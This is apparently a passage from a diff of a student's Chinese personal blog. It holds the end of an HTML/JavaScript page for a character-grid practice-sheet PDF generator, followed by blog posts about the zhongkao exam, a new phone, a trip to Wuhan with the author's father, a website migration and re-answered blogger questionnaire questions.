button:hover { background: #1976d2; }
.msg { color: #d32f2f; text-align: center; margin-bottom: 10px; }
</style>
</head>
<body>
<div class="container">
<h2>田字格批量生成器</h2>
{% with messages = get_flashed_messages() %}
{% if messages %}
<div class="msg">{{ messages[0] }}</div>
{% endif %}
{% endwith %}
<form method="post">
<label for="chars">请输入汉字或名字(名字用空格分隔):</label>
<input type="text" id="chars" name="chars" required>
<div class="modes">
<label><input type="radio" name="mode" value="1" checked> 一张字一页模式</label>
<label><input type="radio" name="mode" value="2"> 字帖模式</label>
<label><input type="radio" name="mode" value="3"> 一个名字一页模式</label>
<label><input type="radio" name="mode" value="4"> 字帖模式(竖版)</label>
<label><input type="radio" name="mode" value="5"> 5×6模式</label>
</div>
<button type="submit" id="generateBtn">生成PDF</button>
<div style="text-align:center;margin-top:18px;">
<a href="#" id="helpLink" style="color:#1976d2;font-size:15px;text-decoration:underline;">使用说明</a>
</div>
</form>
</div>
<script>
// 拦截表单提交,异步生成PDF
const form = document.querySelector('form');
const btn = document.getElementById('generateBtn');
form.onsubmit = async function(e) {
e.preventDefault();
btn.disabled = true;
btn.textContent = '生成中...';
const formData = new FormData(form);
const res = await fetch('/', {
method: 'POST',
body: formData
});
if (res.ok) {
// 生成成功,弹窗选择
const blob = await res.blob();
const filename = decodeURIComponent(res.headers.get('Content-Disposition').split('filename=')[1].replace(/['"]/g, ''));
showChoiceDialog(blob, filename);
} else {
alert('生成失败,请重试!');
}
btn.disabled = false;
btn.textContent = '生成PDF';
};
function showChoiceDialog(blob, filename) {
// 创建弹窗
const mask = document.createElement('div');
mask.style = 'position:fixed;left:0;top:0;width:100vw;height:100vh;background:rgba(0,0,0,0.25);z-index:9999;display:flex;align-items:center;justify-content:center;';
const dialog = document.createElement('div');
dialog.style = 'background:#fff;padding:32px 28px 28px 28px;border-radius:8px;box-shadow:0 2px 8px #888;text-align:center;min-width:260px;position:relative;';
// 右上角关闭符号
const closeBtn = document.createElement('span');
closeBtn.innerHTML = '&times;';
closeBtn.title = '关闭';
closeBtn.style = 'position:absolute;top:10px;right:14px;font-size:22px;color:#888;cursor:pointer;font-weight:bold;';
closeBtn.onmouseover = function(){closeBtn.style.color='#d32f2f';};
closeBtn.onmouseout = function(){closeBtn.style.color='#888';};
closeBtn.onclick = function(){ mask.remove(); };
dialog.appendChild(closeBtn);
// 选项按钮纵向排列
const content = document.createElement('div');
content.innerHTML = `<div style='font-size:18px;margin-bottom:22px;margin-top:6px;'>PDF已生成,选择操作:</div>`;
const btnBox = document.createElement('div');
btnBox.style = 'display:flex;flex-direction:column;gap:18px;align-items:center;';
const dlBtn = document.createElement('button');
dlBtn.id = 'dlBtn';
dlBtn.textContent = '直接下载';
dlBtn.style = 'padding:8px 28px 8px 28px;font-size:16px;';
const shareBtn = document.createElement('button');
shareBtn.id = 'shareBtn';
shareBtn.textContent = '转发给好友';
shareBtn.style = 'padding:8px 28px 8px 28px;font-size:16px;';
btnBox.appendChild(dlBtn);
btnBox.appendChild(shareBtn);
content.appendChild(btnBox);
dialog.appendChild(content);
mask.appendChild(dialog);
document.body.appendChild(mask);
// 下载
dlBtn.onclick = function() {
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
setTimeout(()=>{
URL.revokeObjectURL(url);
a.remove();
mask.remove();
}, 100);
};
// 转发
shareBtn.onclick = function() {
// 生成临时下载链接
const url = URL.createObjectURL(blob);
dialog.innerHTML = `<div style='font-size:17px;margin-bottom:12px;'>将下方链接复制发给好友:</div>
<input type='text' value='${url}' style='width:90%;padding:6px 8px;font-size:15px;' readonly onclick='this.select()'>
<div style='margin-top:18px;'><button id='closeBtn' style='padding:7px 22px;font-size:15px;'>关闭</button></div>`;
dialog.querySelector('#closeBtn').onclick = function() {
setTimeout(()=>{
URL.revokeObjectURL(url);
mask.remove();
}, 100);
};
};
}
// 使用说明弹窗
const helpContent = `
<h2>欢迎使用田字格生成器!</h2>
<p>接下来,请您了解一些基本操作。</p>
<h3>“一个字一页模式”</h3>
<p>使用此模式,您可以生成如下图所示的田字格文件:</p>
<img src="54a0a9d835e408fccb3e91d862aa16f2.png" alt="截图" style="zoom:30%;" />
<p>只需选择“一个字一页模式”,在页面上方的输入框内输入您需要生成的文字,输入完毕后,点击页面下方的“生成PDF”按钮,即可生成。</p>
<h3>“字帖模式”</h3>
<p>使用此模式,您可以生成如下图所示的田字格文件:</p>
<img src="d2319a550bb80518617218ac5075ce62.png" alt="截图" style="zoom:35%;" />
<p>只需选择“字帖模式”,在页面上方的输入框内输入您需要生成的文字,输入完毕后,点击页面下方的“生成PDF”按钮,即可生成。</p>
<h3>“字帖模式(竖版)”</h3>
<p>使用此模式,您可以生成竖版字帖,范字出现在每列最上方的田字格内,从左往右排列,自动分页。</p>
<p>只需选择“字帖模式(竖版)”,在页面上方的输入框内输入您需要生成的文字,输入完毕后,点击页面下方的“生成PDF”按钮,即可生成。</p>
<h3>“5×6模式”</h3>
<p>使用此模式,您可以生成5列6行的田字格,每页固定30个格子,文字从左往右、从上往下排列,自动分页。</p>
<p>只需选择"5×6模式",在页面上方的输入框内输入您需要生成的文字,输入完毕后,点击页面下方的"生成PDF"按钮,即可生成。</p>
<h3>“一个名字一页模式”</h3>
<p>使用此模式,您可以生成如下图所示的田字格文件:</p>
<img src="0ceb31f5ec3f99632f7533791595de9c.png" alt="截图" style="zoom:35%;" />
<p><b>注意,这里是重头戏!</b>您需要在每输入一个人名之后,在输入框中敲击一下“空格”键,这样,程序才可以正常识别出人名,并为其分页生成。</p>
<h3>生成之后...</h3>
<p>不论您使用什么模式,点击“生成PDF”按钮之后,稍等片刻,程序会弹窗提醒您生成完毕。</p>
<img src="1b71d31f5ac4f2f108146933c1d29c43.png" alt="截图" style="zoom:45%;" />
<p>此时,您可以选择“直接下载”或者“转发给好友”。我们更建议您选择“直接下载”,这样可以在微信中直接预览。</p>
`;
function showHelpDialog() {
const mask = document.createElement('div');
mask.style = 'position:fixed;left:0;top:0;width:100vw;height:100vh;background:rgba(0,0,0,0.25);z-index:9999;display:flex;align-items:center;justify-content:center;';
const dialog = document.createElement('div');
dialog.style = 'background:#fff;padding:32px 28px 28px 28px;border-radius:8px;box-shadow:0 2px 8px #888;text-align:left;min-width:320px;max-width:520px;max-height:80vh;overflow:auto;position:relative;';
dialog.innerHTML = `<div style='margin-top:8px;'>${helpContent}</div>`;
// 右上角关闭符号(最后append,确保在最上层)
const closeBtn = document.createElement('span');
closeBtn.innerHTML = '&times;';
closeBtn.title = '关闭';
closeBtn.style = 'position:absolute;top:10px;right:14px;font-size:22px;color:#888;cursor:pointer;font-weight:bold;z-index:10000;';
closeBtn.onmouseover = function(){closeBtn.style.color='#d32f2f';};
closeBtn.onmouseout = function(){closeBtn.style.color='#888';};
closeBtn.onclick = function(){ mask.remove(); };
dialog.appendChild(closeBtn);
mask.appendChild(dialog);
document.body.appendChild(mask);
}
document.getElementById('helpLink').onclick = function(e) {
e.preventDefault();
showHelpDialog();
};
</script>
</body>
</html>
```
## 结语
这次开发,真正让我体会到了科技改变生活。
另外,再提一嘴,蓝屏工具箱将在近一个月内发布,大家可以去关注[蓝屏工具箱官网](https://tools.cnstlapy.cn/)。
@@ -0,0 +1,110 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff34eead6a.webp"
title: "杂记:中考、新手机"
pubDate: "2025-07-09T00:00:00.000Z"
updatedDate: "2026-07-29T01:31:59.000Z"
categories:
- "生活"
tags:
- "人生大事"
comments: true
---
朋友们,好久不见。转眼间,洛阳市中考已经结束了,我已经是一名准高中生了。中考结束,怅然若失,让我把最近的经历讲给你听。
近期关键词:`酒店``中考``REDMI Turbo 4 Pro`
## 酒店
因为我家和中考考点距离太远了,所以母亲在距离中考(6 月 22 日)还有一周的时候,在考点附近给我订了一家酒店。
我们去得晚了一些。考点附近那些好的酒店全都被订满了,我们只好加价订了一间大床房。价格是原价的 2 倍(268 元 / 晚)。不过我们也很幸运,因为据说第二天之后房价都被炒到一千多了。
中考前一天下午(周六),上完历史一对一课之后,我们按要求去考点看了考场,随后便前往了酒店。
在没来到酒店之前,我问父亲:“这酒店环境怎么样?” 父亲说:“一般。”
结果真到了酒店之后,我觉得被父亲骗了:这哪里是一般,这简直比我 2024 年去北京研学住的酒店还豪华!(研学文章抽空会补档)
21 号下午,在把行李收拾好之后,我便开始把我的 MacBook 投屏到电视上玩。一开始,我只是听歌:
渐渐地,我玩腻了,便拿出了一瓶农夫山泉,喝掉一半,然后用只有一半水的瓶子在桌子上扔 —— 这是在培优班时期我们最喜欢的游戏,也是被制裁过的游戏。
扔完还不忘发个朋友圈 “挑衅” 一下培优班老师?
![img](https://image.luming.cool/i/2026/05/10/69fff3340d2ac.webp)
整个下午,我都处于非常松弛的状态 —— 刷 B 站、打游戏。当时我有一种很奇怪的感觉 —— 身体上感到压力和疲惫,但精神上还是想放松。
![img](https://image.luming.cool/i/2026/05/10/69fff3385d1b7.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff33d7370e.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff340cfeef.webp)
21:00,家母便催着我上床睡了。由于害怕第二天早上睡过头,我和母亲便掏出了五重保险 —— 我的小米 9 主力机、iPhone5s 备用机、小米平板 6、REDMI Watch 5、步步高家教机。在给它们依次设定好早晨 6 点的闹铃后,母亲和我安心地睡了。
离校前,班主任安慰我们说:“中考前一天睡不着是正常的,不用紧张。” 而我不到十分钟就酣然入梦。嘿嘿,这就是网友们所说的 “超绝钝感力” 吗?
## 中考
22 日早上 5:30,我自然醒了。估计是以前在学校经常早起的缘故,我的生物钟被调教得特别准。可是母亲并没有让我起床,而是要求我 “继续睡到 6 点”。我只好再次躺下。
半小时后,前一天设置的五重闹铃响了 —— 真是震天响。平板的闹铃最吵,几乎掩盖了其它设备的铃声。而我,几乎是被吓得从床上弹起来。
关闭闹铃之后,我点开手表的睡眠详情。前一天晚上我睡了 8 小时,甚至比我在学校的睡眠时间要长。
从床上起身,我看见旁边的小桌上已被摆上了小笼包和豆浆,心中不由得紧张起来。我赶紧起身去刷牙、洗脸。出发之前临时发现自己头发很油,便又急急匆匆地洗了个头。做完这些之后,我回到床前,拿起小笼包开始吃。吃完之后,我又奔到电脑前,在博客里发了篇文章 —— [中考必胜](https://www.luming.cool/posts/2025/06/final-test-of-junior-high)。
做完这一切,我们便暂时告别了酒店,踏上了前往考场的路。这对我来说,也是踏上沙场。
中间还发生了一些小插曲。比如我忘了去考点门口找带队老师索要准考证,结果带队老师焦急地打电话催我。这类闹剧,在中考的两天内,我闹了两次。
进入考场之后,我身上就再次体现了前文提到的 “钝感力”—— 哪怕坐到监考老师面前了,我仍然没有任何恐慌和不安。这对现在的我来说是完全做不到的。
考完上午的科目,母亲带我去路边吃了碗米线,便返回了酒店。
由于在酒店待着过于舒服,所以我向母亲提出了个请求 —— 第二天考完之后,把这间房再续一晚。
下午的政治历史、第二天上午的数学物理、第二天下午的英语以此类推。
全科考完之后,我心中的感觉并不都是放暑假的开心,而是 “这么快就考完了” 的惆怅 ——“我还意犹未尽呢”。回到酒店,我毫不犹豫地开始收拾东西。这与我第一天考完的反应恰恰相反 —— 我现在觉得待在这里已经没有任何意义了。所以父亲、母亲和我一同把行李装包,预订网约车,踏上了归途。
## 新手机
中考结束了,外加我手头的战损版的小米 9 已无法满足我的需求,所以向父亲提出了买新手机的请求。令我没想到的是,他毫不犹豫地答应了。
23 号晚上,父亲带着我前往本地的小米之家看手机。我相中了 REDMI K80 和 REDMI Turbo 4 Pro 这两款手机。K80 的性能比 Turbo 4 Pro 要好,但是我真心看不惯 K80 的摄像头 Deco,所以我选了 Turbo 4 Pro。
![img](https://image.luming.cool/i/2026/05/10/69fff34e0b35e.webp)
16 + 256,最终我们以原价 ¥2299 买了下来。没办法,父亲不愿意网上购机,而洛阳的国补刚好停了。所以就 “枪打出头鸟” 了。
赠送的 REDMI Buds SE 不支持降噪,音频协议只支持 SBC ,但是低音还行,差强人意。
其实当时我们还看了 K80 至尊版,店员说 K80 至尊版还没有发布,暂时不知道价格。而我根据 K80 Pro ¥3199 的价格,“推测” 出 K80 至尊版有可能比 K80 Pro 还要贵,所以我根本没有对 K80 至尊版动念头。结果过了两天,K80 至尊版发布了,¥2599。
> 再次当了一回小丑。
外加 Turbo 4 Pro 日用发烫和续航尿崩的 “特性” 无处不在,这让我每时每刻都在后悔 —— 我怎么买了这么一台手机。
但好在它日用挺流畅,就这样吧,用它个三年。
## 结语
中考结束,不管成绩好坏,都代表着我的人生进入了一个新的阶段。
这里引用抖音 [@阿好好好](https://v.douyin.com/-FOeBZuC-YI/)的一段话:
> 我始终相信,上天安排我去哪里读书,遇见谁错过谁,都自有他的道理。
>
> 没有遗憾不叫人生。反正我们都是泪流满面,却又继续向前走的人。
>
> 我们终会知道,有人陪伴是幸运的,而一个人才是常态。
>
> 少年总是感叹日子过得太慢,却又发觉时间悄然离去,毫无痕迹,就像从未来过一样。
>
> 青春就像一本仓促的书,我们含着泪,一读再读。
Bye~
@@ -0,0 +1,279 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff355c2d43.webp"
title: "杂记:武汉六日游、网站升级、落水"
pubDate: "2025-07-28T00:00:00.000Z"
updatedDate: "2025-07-28T00:00:00.000Z"
categories:
- "生活"
tags:
- "人生大事"
comments: true
---
## 前言(摘要)
7 月 17 日至 23 日,父亲带我去武汉度过了六天,我感觉不大开心;
本站(virelyx.com)成功备案,并获得了火毅盾的全球 CDN,站点速度大幅提升;
中考结果出来了,我对道德与法治科目成绩存疑,但申请核分无果,最终未能成功上岸。
长文警告。
## 武汉六日游
> 由于记忆有偏差,原本应是五日游,记忆偏差变为了六日游。不影响阅读,敬请谅解。
7 月 18 日,父亲和我一同前往武汉,一方面是为了谈他的生意,一方面是为了带我出来玩玩。
本期文章将按按照时间顺序来介绍我的武汉五日游。
> 注:Day04 的内容均为扯淡流水账,你可以选择性忽略这些内容,直接从 7 月 21 日开始阅读。
### Day0 - 初来乍到
上午 9:00,我们赶到地铁站,坐了 40 分钟到了火车站。候车候到了约 10:40,我们上了火车。
买的是硬卧票,但我们太过匆忙,稀里糊涂地进了一节硬座车厢。就在父亲纳闷时,我掏出手机翻出车票,随后发出一声惊嚎 ——“咱走错车厢了!” 车票上显示的是 13 号车厢,而我们此时在 3 号车厢。
既来之则安之,说时迟那时快,我们找到了一组面对面的空位坐了下来,躲避这暂时的人流高峰期。过了一会,人流量逐渐减小,我们便提起行李继续前行。
一路上的事就不过多赘述,接下来给你们看几张我拍的照片
![img](https://image.luming.cool/i/2026/05/10/69fff36279172.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff35d7d9f2.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff35971350.webp)
晚上 8 点,我们到达了目的地 —— 武昌站。出站后,父亲公司安排的司机就把我们接上了车。二十分钟后,我们到了阳逻开发区的新港国际大酒店。
我们坐电梯上到了 11 楼。电梯门打开的那一刻,我顿时虎躯一颤:外面的天已经完全黑了,酒店楼道几乎伸手不见五指,外加地上铺了绒质地毯,让我觉得很瘆。
刷卡,进入房间,我发现我们的屋子里也铺了这种绒质地毯,并且这间屋子的内部设施(空调、开关等)都很老旧,这更加重了我的不适感。同时,手机弹了三条通知,都是强对流天气预警。我没有放在心上,因为此时窗外十分静谧,丝毫没有暴风雨来临之势。
在酒店坐了没多久,我就饿了,想和父亲出去 “觅食”。父亲干脆利落地同意了。酒店正对面有一家 “XX 网吧” 和一家便利店,我们便往便利店方向走去。走在大马路上,我忽然觉得头顶尖尖凉凉的,下雨了!我们赶紧窜到便利店里,想着先买东西,过一会雨就停了。我们选了几个肉松饼,付款之后,走出店门,愣住了:相比于刚才的星星点点,此时的雨完美诠释了为什么叫 “强对流”。
就这样,我们在便利店里转了一圈,试图拖延时间等到雨停。可是,当我们再次走到门口,却发现时间并未削弱这雨丝毫。
![img](https://image.luming.cool/i/2026/05/10/69fff3cb6d928.webp)
怎么办?闷头干。
我们冲向雨中,跑了一百多米,回到了酒店。衣服自然被淋湿,父亲管这叫 “自由”。
回到酒店,我们一边吃,一边聊着第二天的会议,不亦乐乎。就这样消遣直到凌晨 1 点,我们才昏昏睡去。
### Day1 - 商业展览 & 网吧初体验
早上 6 点,我就被父亲叫了起来,他说七点就要去开会,让我提前准备。我洗脸,刷牙,这一切都结束之后,见我昏昏沉沉的,他便让我去洗了个澡。就这样稀里糊涂地到了 7 点,我们下楼了。
一出酒店大门,就遇见了与父亲合作的客户。他和父亲握了握手,我正想用对付学校里老师的那一套来向这位叔叔鞠躬,他却向我伸出了手 —— 这是我没有想到的。我刚鞠了一半,却又条件反射似的伸出了手。哈哈,真奇怪。他让父亲称呼他为 “小王”,那我就管他叫 “王叔” 吧。
王叔开车带着我们去了一家小餐馆,我们吃了武汉热干面,喝了米酒。热干面的味道很新奇,嗦入口中先是醋酸味,紧接着是酱香味,嚼起来很筋道。
吃完早饭,王叔说带我们去公司。出了餐馆门,我开始找王叔的车,可王叔和父亲却笔直往前走去。见我没跟上,王叔回头叫我:“小伙子,公司就在前面!” 我急忙快步跟上。
上午,我们跟着王叔参观了要合作的公司。先去看了成功案例,接着听老板给我们讲了产品的原理…… 时间才过了一半,我已经厌烦了 —— 因为现在是夏天,而我们参观的是一家地暖公司。公司展示区里还有汗蒸房,室温 46℃,差点把我热晕?
下午 13:00,上半场展示结束,父亲需要去进一步开一个研讨会,我向王叔提出了送我回酒店的要求。王叔也是很爽快,订了辆网约车送我回了酒店。
到了酒店之后,我碌碌无为地度过了一个下午。
傍晚,父亲回来了。他对这个项目表现出了一种消极的态度 —— 因为要参与这个项目,需要交 12 万的定金。
过了不久,和父亲对接的王叔为我们送来了晚餐。王叔在吃饭的过程中和父亲继续交谈着商业合作的事,父亲持续消极对话,最终他俩没有谈成。不过也没有不欢而散 —— 父亲的语言艺术还是很可以的,属于是婉拒了王叔。
王叔离开酒店之后,我向父亲提议第二天就改签车票回洛阳。父亲拒绝了。他说:
> ” 明天我跟他们老总谈谈,如果真的不合作那就不会麻烦到你王叔了。现在贸然离开,公司肯定会找你王叔麻烦。明天试试再说,说不定能谈成。“
我简单地回了他一句” 行 “。没过多久,我因为太过无聊,便提议父亲带我下楼逛逛,顺带看看酒店对面的 XX 网吧。
我对网吧这玩意是不抱有任何期望的。因为法律就在那里摆着,我未满 18 周岁,这类场所禁止未成年进入。
所以我们先去楼下的街上逛了逛。不得不说,开发区就是开发区,楼下死一般的寂静,只有个别餐馆开着灯,却没几个顾客。所以我们没走一小会,就转头向网吧的方向走去。
走进网吧,我很怯,可能是因为自知未成年没有资格,也可能是因为我第一次来网吧这个场所,不知道网吧里面是来自哪里的、什么性格的人群。可是坐在前台的网吧老板就没有那么严肃了,她热情地问我是不是需要开机子,丝毫没有注意到我是未成年。(ps:这里估计是真的没辨认出来,因为博主太显老了,555…)而我局促地表示着自己想试试。老板娘是一点都不带尴尬的,直接问我成年了没有。我慌到了极点。如果我说未成年,老板会不会赶我出门?会不会被众人嘲讽?
最终,我选择了说实话。
> “我没成年。”
> “没成年让你爸帮你实名一下就行了。”
我傻了。一旁的老板手把手教着父亲使用自动购卡机购买时长,我就傻站着。不到一分钟,就买完了。
这是一家黒网吧。唯一的理智告诉我。
但是价格还算合理,6 块钱一个小时。
社恐的我跑到了二楼的一个空座位,仓惶坐下,结果找电源找了半天才找到。令我意外的是并没有人嘲笑我,网吧里的人都在各玩各的,整间屋子里并没有我想象中那么严重的社会戾气。于是,我松了口气。
打开机子,输入卡号和密码,进入桌面。我习惯性地点开任务管理器查电脑配置。好家伙!12 代 i7,4060Ti!这么逆天的配置是我这辈子第一次体验。所以我下意识用浏览器访问毒蘑菇,想试试这电脑的性能上限。结果:
<video controls="" src="https://img.riseforever.cn/blog_src/2025/07/20250725135643647806.mp4" style="box-sizing: border-box;"></video>
> 我敢保证,这是我人生中体验过最流畅的电脑。
电脑用的是 240Hz 显示器,鼠标在屏幕上滑动都能感受到 LCD 的残影。震撼之余,我开了把和平精英。在选择了顶级画质的条件下,这台电脑居然能满帧运行。玩了一局,爽了一局。
但是,受限于和平精英 PC 模拟器只支持和平精英模式,不支持绿洲起源等更多的玩法,所以我很快失去了兴味,只是对网吧设备的性能表示震撼。
### Day2 - 平淡
依然是早上七点,父亲和我早早起来。只不过,这一天我不打算跟着父亲在公司里度过。父亲把我送到了网吧,给我充了一张 VIP 卡(充 30 送 20,一共可以用 8 小时 20 分钟),开好机子,便找王叔听公司讲座去了。
至于我?在网吧待了不到一个小时,因为太热,就选择了下机,然后出门休息。等到我回来时,意外发现再次登录时系统提示 “密码错误”。我惊讶地去问前台,得到的回复是:“你每次开机都需要你父亲过来实名认证一下,然后密码会通过短信验证码的形式发送给你父亲。”
> 天塌了。
也就是说,8 个多小时的额度,我只用了几十分钟,就被迫结束了。我得等父亲下午回来才能继续。
我带着后悔的心,拖着沉重的身体,回到了酒店。
刷了会手机、看了会随身带的《意林》,实在是太无聊,我便锁好门,躺在床上再度睡去。
下午,父亲掂着大包小包的货回来了。那是他要推广的样品。我惊讶地表示:
> “你不是不打算合作吗?”
没想到,他说:
> ” 我和人家谈成了,先做着这生意,如果有利润并且前景好,我就后续再交定金。“
可我看着他合同上的”x 月 x 日前若不交定金 xxxxxx 元,则此合同作废……“,陷入了沉思。
父亲似乎是察觉到了我的不安,忙说:
> ” 这个合同还有点问题,你看看内容就行,不用认真,我明天还要跟他们谈。“
我答应了。
父亲在抖音上又找了几家同类型的厂家,并尝试联系。他说他打算给自己留条后路,明天去谈完合同之后,他还要去其它公司看看,如果以这次来为目标的公司没谈成,那就去其它公司问问能不能合作。
于是,一夜无话。
### Day3 - 合作谈成
不再过多赘述,我在网吧把剩余额度用完了。父亲与老总成功谈成了。这是我们在这所酒店睡的最后一晚。
### Day 4 - 武汉长江大桥
下午 2 点,我们上了地铁,倒了 2 趟车,兜兜转转到了我们新订的酒店。
这家酒店挨着我们来时的武昌站,交通很方便。在酒店待了几分钟之后,我们起身前往武汉长江大桥。
并拍到了以下照片:
![img](https://image.luming.cool/i/2026/05/10/69fff367ee203.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff3739198e.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff37952e88.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff3858f3ba.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff36e1714a.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff38daa700.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff37f52952.webp)
### Day5 - 武汉大学 & 汉口江滩
早上 9 点,我们蹬上共享单车,前往武汉大学参观。
武汉大学占地面积实在是太大了,彻底刷新了我对大学的认知。一上午我们只逛了约 1/6 的地方,中午实在热得受不了了,我们就回去了。
![img](https://image.luming.cool/i/2026/05/10/69fff3971373c.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff39c2124a.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff391ebdf8.webp)
下午四五点的时候,父亲耐不住性子,再次带我出了门。
还记得他一开始的目的地是一条小吃街。小吃街上到处是花花绿绿的灯,与我们 Day1 酒店附近的小吃街截然不同,这里的灯光几乎能把天空照亮,把人的倦意熔化了。我们买了几串烤鱿鱼,两杯蜜雪冰城,便开始寻找附近其它的景点。
正在我们思考的时候,一位开着电三轮的老爷爷把我们的思绪揪了出来。于是,父亲开始问他附近的景点,他毫不犹豫地推荐了汉口江滩。于是,我们就坐上了老爷爷的三轮车,出发前往汉口江滩。
三轮车里面布置了彩色灯带,看起来很亮堂。坐在车上有股莫名的安全感。(虽然这安全感比起汽车来说差多了)
![img](https://image.luming.cool/i/2026/05/10/69fff39e03f45.webp)
同样的,在汉口江滩一带,我们得到了以下照片:
![img](https://image.luming.cool/i/2026/05/10/69fff3a0831d1.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff3a44e476.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff3aa0fceb.webp)
### Day6 - 黄鹤楼,返程
依然是早晨,我们骑共享单车来到了黄鹤楼。只不过有两个大槽点:
1. 黄鹤楼为中心,方圆一百米内没有共享单车停车点,我们甚至抬着共享单车下了过街天桥才找到停车点;
2. 黄鹤楼旁边的自行车道与平台上的人行道中间有围栏,一直延续到武汉长江大桥上。我们一直骑到了武汉长江大桥上面才敢把自行车抬上人行道。
走进景区大门,映入眼帘的就是 “三楚一楼” 的牌坊。
![img](https://image.luming.cool/i/2026/05/10/69fff3af9b034.webp)
黄鹤楼台前有一座石像,雕刻的是一只鹤,像不像不重要,气势是给到了。
![img](https://image.luming.cool/i/2026/05/10/69fff3bb30364.webp)
上黄鹤楼顶,望车水马龙,好一个 “江山入画”。
![img](https://image.luming.cool/i/2026/05/10/69fff3c0f323c.webp)
附 我拍的亿点点照片:(似乎也找不出来更多的照片了,全是拍人的?)
所以,我的武汉六日游就到此结束了。
## 网站升级
经常来访的朋友应该知道,本站从 7 月 15 日开始,连续 7 天左右都处于无法访问的状态。那是因为我的域名处于备案期,删除掉了所有解析。现在,域名备案完毕了,同时我也用上了火毅盾提供的全球 CDN,网站全国绿,如图所示:
![img](https://image.luming.cool/i/2026/05/10/69fff3c27d5ed.webp)
同时,服务器也从原来的腾讯云新加坡转到了火毅盾(独家),带宽增大,以后我可以放心地往博客里放原图,而不用担心加载不过来了。
## 落水
中考分在 7 月 7 日就出来了,我考了 672 分。
也许你不知道这意味着什么,我来解释一下:
中考总分由文化课分和体信实验(体育 + 信息 + 实验)分组成。我的体信实验得了 143 分(满分 145)。
文化课的分数情况如下:
| **科目名称** | **预估分** | **实际分** | **差值** |
| ------------ | ---------- | ---------- | -------- |
| 语文 | 105 | 100 | -5 |
| 数学 | 113 | 113 | 0 |
| 英语 | 115 | 112 | -3 |
| 物理 | 67 | 67 | 0 |
| **道法** | **62** | **51** | **-11** |
| 历史 | 38 | 40 | 2 |
| 化学 | 44 | 46 | 2 |
| 总分 | 544 | 529 | -15 |
其中,语文、英语这两科的落差是在我意料之中的,但是道法这一科目属实出乎我的意料。
对于道法,我是仔细估的分,按照最严格的标准来的。我保证我估的分会比实际要低。成绩出来后,我当场联系班主任,要求核查分数。我以为核分可以看到每一题得了多少分,结果核分结果就是 “客观题:xx 分、主观题:x 分”。卵用没有。
最终我差了 6 分,无缘第一志愿,只好投奔第二志愿的怀抱。记得中考前的全真模拟我考了 687,结果中考只考了 672。在中考这艘船上,我不幸落水。
不过第二志愿也不错,也是省示范,而且我签约了精英班三年不调班。只是我心里的落差太大了,无法释怀。希望洛阳市的核分过程透明一点吧。不然我连自己怎么落水的都不知道。
## 后记
恭喜本文成为本博客有史以来最长的文章 ——4941 字。这算是一个月度总结,把我的心理压力释放掉,让我准备好迎接新的挑战。
感谢阅读,我们下期再见。
> 顺便借这次机会吐槽一下:[blogscn.fun](https://blogscn.fun/) 的审核员,你跑哪去了?我 7 月 9 日提交的站点变更申请到现在还没有反应,说好的 24 小时内审核完毕呢?是不是应该整一个机器审核?
@@ -0,0 +1,118 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff3d8a6b69.webp"
title: "重新回答 Another Dayu 的九个问题"
pubDate: "2025-08-28T11:56:00.000Z"
updatedDate: "2025-08-28T11:56:00.000Z"
categories:
- "生活"
tags:
- "问卷"
comments: true
---
朋友们,上午好。
上次回答 [博客作者呀,我想采访你这 9 个问题! - Another Dayu](https://anotherdayu.com/2024/5962/) 这个问卷,已经是2024年11月了。
过了大半年之后,我的个人经历和认知都有了不同程度的提升。那么,今天就让我重新回答一下这个问卷吧。
虽然很无聊,但这也算是我心中积攒的表达欲得一部分,便想着抽时间写写。
## 问卷内容
> 1. 简单介绍下自己或者你的博客?
> 2. 什么契机让你开始写博客?
> 3. 你是如何完成创作的?
> 4. 运营博客的过程中是否有失去过动力?如果有,是为什么恢复的?如果没有,请问您又是如何保持创作的激情?
> 5. 如何搭建博客,以及运营博客每年需要投入的资金?
> 6. 推荐 1 篇你博客中的文章,并推荐一个你喜欢读的博客,聊聊原因。
> 7. 推荐 1 个近期喜欢的事物?
>
> (例如书籍、电影、音乐、工具、软件。)
>
> 8. 想做还没有做的事,或想尝试还没有尝试的主题?
> 9. 写到这里,闭上你的眼睛,深呼吸几分钟,或是出去溜达一圈,然后回来写任何你想写的东西。
## 简单介绍下自己或者你的博客?
我,Virelyx,是一名高一学生。曾取名“是路明呀”、“Riseforever”。
日常爱好播音(考了九级,偶尔会主持学校的一些活动)、唱歌(纯业余无技巧,没事喜欢哼两嗓子,结果发现音准还不错)、钢琴(考了十级,但是有四年没碰了,目前只会弹弹《Flower Dance》)和编程(代表作“蓝屏工具箱”、“Poster”)。
会打乒乓球、羽毛球,不过都是业余的,能勉强接到。(笑)
我的博客,即本站。是我送给自己的赛博小家,让我不管在任何境遇都能有一个地方挥洒自己的表达欲。本站于2023年3月18日建立。严格来讲,这并不是我博客确切的建立日期,而是我开始学习建站的日子。
最初的创作总是无趣的,所以我就从我博客的“重生”讲起。
2024年9月,经历了四个月的至暗时期和企业低谷期之后,我开始有了独立建站的念头。正好,007IDC举行中秋活动,香港2c2g10m服务器活动价¥17.9/月,我买了。搭配着自有短域名*kmyl.top*,至此,建站的基础准备齐了。
开始时,服务器管理面板我选择了1Panel,博客系统我选择了Halo,主题使用的是Stack。不得不说,Halo这一个新生代博客系统给了我很新的撰写体验,但…反正它不是我的菜,我就是用不习惯。
所以,这套方案我没用一周,就忍不住重装了服务器。
第二套方案是宝塔面板+Typecho,主题用的是Miracles。你可以在[这里](https://archive.virelyx.com/)查看网站快照。
